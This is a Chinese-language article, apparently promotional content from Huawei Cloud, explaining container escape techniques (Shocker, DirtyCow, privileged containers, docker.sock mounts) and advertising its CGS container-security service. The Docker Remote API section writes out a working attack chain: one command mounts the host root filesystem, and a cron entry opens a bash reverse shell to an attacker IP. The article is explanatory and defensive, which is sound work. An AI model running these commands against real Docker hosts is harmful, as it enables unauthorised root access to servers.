云原生2.0時代，企業都應該了解的容器安全

隨著云原生技術的成熟和市場需求的升級，云計算的發展已步入新的階段，云原生2.0時代已經到來。從技術角度看，以容器、微服務以及動態編排為代表的云原生技術蓬勃發展，成為賦能業務創新的重要推動力，并已經應用到企業核心業務。從市場角度看，云原生技術已在金融、制造、互聯網等多個行業得到廣泛驗證，支持的業務場景也愈加豐富，行業生態日漸繁榮。云原生2.0是企業智能升級的新階段，企業云化從“ON Cloud”走向“IN Cloud”，新生能力與既有能力有機協同、立而不破，實現資源高效、應用敏捷、業務智能、安全可信，成為“新云原生企業”。

云原生2.0時代，任何企業都可以成為“新云原生企業”，作為云原生的代表技術之一的容器，每個企業都應該對容器安全有所了解。

傳統的虛擬機能夠基于虛擬化技術更加有效的利用硬件計算資源，可以實現云租戶的隔離與資源共享。相比虛擬機來說，容器更輕、更快，但是作為一種新技術，容器的安全防護也與虛擬機所有不同。

一、容器 VS 虛擬機

容器與虛擬機具有相似的資源隔離和分配價值，但容器的作用不同，因為容器是虛擬化操作系統而不是硬件。容器更便攜，更高效。

容器VS虛擬機

虛擬機（VM）是對物理硬件的抽象，將一臺服務器轉化為多臺服務器。Hypervisor允許在一臺機器上運行多個虛擬機。每個虛擬機都包含操作系統、應用程序、必要的二進制文件和庫的完整副本，占用數十GB的空間。虛擬機啟動速度也比較慢。

容器是應用程序層的一個抽象，將代碼和依賴打包在一起。多個容器可以運行在同一臺機器上，與其他容器共享操作系統內核，每個容器在用戶空間中作為隔離的進程運行。容器比虛擬機占用更少的空間（容器鏡像通常只有幾十MB大小），可以處理更多的應用程序。

二、容器逃逸

容器逃逸，是容器技術啟用以來一直被關注的問題，甚至被認為是容器的首要安全問題。所謂“逃逸”，指的是“流氓”容器/虛擬機嘗試突破隔離環境的限制，訪問宿主系統或者在同一個系統上的同駐容器或虛擬機。從而造成敏感信息泄露，或者系統及服務發生DOS的行為。

但正是由于容器與宿主系統共享內核，因此容器與宿主機有著更大的接觸面，隔離層次更少，更容易從容器內實施逃逸攻擊。因此，如何解決容器逃逸安全風險，避免容器逃逸攻擊帶來的損失是容器安全中最為重要的一個問題。

三、容器逃逸常用手段

1）通過容器自身漏洞及內核漏洞逃逸

攻擊的主要途徑之一就是利用漏洞，通過程序設計或實現的缺陷來執行非法操作，容器逃逸也不例外。容器自身漏洞是其利用進行逃逸的路徑之一，同時由于容器共享宿主系統內核，因此內核漏洞是其逃逸的另一路徑，同時由于內核漏洞的數量遠遠大于容器自身漏洞，因此內核漏洞甚至成為容器逃逸更為主要的一個手段。

1.1 利用容器漏洞逃逸 – shocker攻擊

Shocker攻擊是容器逃逸最著名的案例，其本質是利用了一個不常用的系統調用open_by_handle_at，同時借助docker1.0前版本并未限制CAP_DAC_READ_SEARCH能力，并將容器啟動時會掛載宿主機文件到容器內（如舊版本的/.dockerinit，新版本的/etc/hosts）作為起點，執行暴力破解攻擊，最終獲取到要訪問的宿主系統文件的句柄信息并進行讀取，從而實現逃逸。

Github地址：https://github.com/gabrtv/shocker

容器執行shocker攻擊逃逸訪問宿主系統/etc/shadow文件：

1.2 內核漏洞利用逃逸 – dirtycow攻擊

DirtyCow（臟牛漏洞，CVE-2016-5195）是Linux內核中的一個權限提升漏洞，其也可被容器利用實施逃逸。容器利用dirtycow漏洞改寫虛擬動態共享庫VDSO（Virtual Dynamically Shared Objec），并將shellcode置入其中，當主機系統進程調用并執行修改后的內容時，就會借用此進程身份執行置入的shellcode，并最終在容器內獲得一個來自主機的root權限的shell。

2）不安全配置引發逃逸

2.1 不安全啟動，如privileged特權容器

容器以--privileged參數啟動時稱為特權容器，特權容器顧名思義具有較高權限，包括對宿主機上的設備的訪問權限。因此，攻擊者可以直接在容器內mount主機設備并進行文件訪問，從而輕而易舉實現逃逸。

2.2 不安全掛載，如掛載sock到容器

圖片來源：https://medium.com/better-programming/about-var-run-docker-sock-3bfd276e12fd

Docker.sock文件是一個Unix domain socket文件，是Docker daemon默認監聽的套接字文件，docker client通過它與docker daemon進行通信。docker client將信息查詢和下發命令等請求通過docker.sock發給docker daemon，然后由deamon執行具體請求，包括鏡像查詢、容器創建等。

將docker.sock掛載到容器內，可以在容器內繼續運行一個容器，實現docker in docker，并可在容器內容器啟動時通過-v參數將宿主機根目錄掛載到容器內，從而在容器內訪問宿主機文件，實現逃逸。

2.3? Docker remote api未授權訪問

默認情況下，docker daemon只允許通過unix domain socket – docker.sock進行本地通信操作，但除此之外，docker daemon也提供了Restful API供遠端client訪問（daemon通過-H參數指定監聽端口），如果未對訪問進行權限控制及合規性檢查，則攻擊者也可以訪問這個API執行高危操作，并實施逃逸攻擊。

例如一種攻擊場景：

（1）通過Remote API創建一個容器，并將宿主系統根目錄掛載到容器內：

# docker -H tcp://$IP:$PORT run -it -v /:/mnt ubuntu /bin/bash

其中：$IP表示docker daemon服務ip，$PORT表示Remote API監聽端口

（2）將反彈shell命令寫入計劃任務文件

# echo '* * * * * /bin/bash -i >& /dev/tcp/$IP/$PORT 0>&1' >> /mnt/var/spool/cron/crontabs/root

其中：$IP表示攻擊端IP，$PROT表示攻擊端監聽端口

（3）攻擊端監聽上一步中的$PORT端口，獲取來自對端（docker服務所在系統）的具有root權限得反彈shell，并任意訪問。

四、華為云容器安全服務CGS之逃逸安全防護方案

華為云容器安全服務CGS

華為云容器安全服務CGS構建了容器安全威脅縱深防御體系，提供包括鏡像掃描、威脅檢測與威脅防護的一整套容器安全能力，提供針對容器的Build、Ship、Run全生命周期保護能力，滲透到整個容器DevOps流程，保證容器虛擬環境從開發到生產整個流程的安全。其中，容器逃逸檢測是CGS的核心功能之一，它通過如下手段構建系統化的容器逃逸全面防護能力：

1）監控容器不安全配置啟動

前文中提到，不安全配置是容器逃逸的一個重要原因。因此，監控容器的不安全啟動也是容器逃逸防護的一個重要手段。CGS可以針對容器啟動的各種不安全配置進行監控，包括啟動特權容器、掛載宿主機文件、安全策略關閉、特權端口映射等，從容器創建伊始就檢測逃逸風險，實現整體防護方案第一步。

2）容器行為深度分析

容器啟動后，CGS可對容器運行過程中的行為進行實時跟蹤和觀察，監控容器內的進程運行、文件訪問、網絡連接、系統調用等行為，并對行為進行深度分析，從行為過程體現出來的特征到行為所產生的結果進行全面分析檢測，有效發現容器已知和未知漏洞利用逃逸攻擊行為并進行告警。

3）容器基線機器學習

一般而言，容器的行為通常固定且純粹，比如一個提供web服務的容器內可能只會運行一個nginx進程，一個提供DB服務的容器內可能只會運行一個mysql進程，并且進程所執行的操作，包括文件訪問、系統調用、網絡連接等行為都有固定合理范圍，因此可以對容器圈定正常行為范圍，構建行為基線。CGS利用機器學習技術，從靜態和動態兩個維度分析容器正常行為并建立基線，使得基線模型更準確、更完整，然后根據基線跟蹤容器行為，感知基線以外的異常行為，實現對攻擊行為的全面感知，并有效提升對于容器利用0day漏洞進行逃逸攻擊的檢測能力。

華為云CGS容器逃逸方案防護機制內置在防護平臺，無需用戶參與即可實現容器逃逸系統化檢測，具有良好的易用性，同時方案采用事件驅動機制實現性能高、反應快，為容器安全保駕護航。

了解更多華為云容器安全服務，請點擊https://www.huaweicloud.com/product/cgs.html

云安全 容器安全服務 通用安全

版權聲明：本文內容由網絡用戶投稿，版權歸原作者所有，本站不擁有其著作權，亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容，請聯系我們jiasou666@gmail.com 處理，核實后本網站將在24小時內刪除侵權內容。

版權聲明：本文內容由網絡用戶投稿，版權歸原作者所有，本站不擁有其著作權，亦不承擔相應法律責任。如果您發現本站中有涉嫌抄襲或描述失實的內容，請聯系我們jiasou666@gmail.com 處理，核實后本網站將在24小時內刪除侵權內容。